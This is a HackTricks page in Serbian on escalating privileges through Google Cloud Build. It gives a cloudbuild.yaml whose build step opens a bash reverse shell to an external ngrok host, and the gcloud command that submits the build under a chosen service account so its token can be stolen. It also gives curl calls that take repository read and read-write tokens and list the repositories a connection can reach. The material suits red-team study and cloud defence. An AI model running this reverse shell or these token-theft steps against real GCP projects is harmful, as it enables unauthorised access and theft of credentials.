GCP - Cloudbuild Privesc
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
cloudbuild
Za više informacija o Cloud Build, proverite:
cloudbuild.builds.create
, iam.serviceAccounts.actAs
Sa ovom dozvolom možete podneti cloud build. Cloudbuild mašina će imati u svom fajl sistemu po defaultu token cloudbuild Service Account-a: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com
. Međutim, možete navesti bilo koji servisni nalog unutar projekta u cloudbuild konfiguraciji.
Stoga, možete jednostavno naterati mašinu da exfiltrira token na vaš server ili dobiti reverznu školjku unutar nje i dobiti token (fajl koji sadrži token može se promeniti).
Direktna eksploatacija putem gcloud CLI
1- Kreirajte cloudbuild.yaml
i izmenite sa podacima vašeg listener-a.
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
2- Učitajte jednostavnu gradnju bez izvora, yaml datoteku i odredite SA koji će se koristiti za gradnju:
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
Korišćenje python gcloud biblioteke
Možete pronaći originalni exploit skript ovde na GitHub-u (ali lokacija sa koje uzima token nije radila za mene). Stoga, proverite skript za automatizaciju kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde i python skript za dobijanje reverzne ljuske unutar cloudbuild mašine i ukradite je ovde (u kodu možete pronaći kako da navedete druge servisne naloge).
Za detaljnije objašnjenje, posetite https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
Sa ovom dozvolom korisnik može dobiti token za čitanje pristupa koji se koristi za pristup repozitorijumu:
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
cloudbuild.repositories.accessReadWriteToken
Sa ovom dozvolom korisnik može dobiti token za čitanje i pisanje koji se koristi za pristup repozitorijumu:
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
cloudbuild.connections.fetchLinkableRepositories
Sa ovom dozvolom možete dobiti repozitorijume kojima veza ima pristup:
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.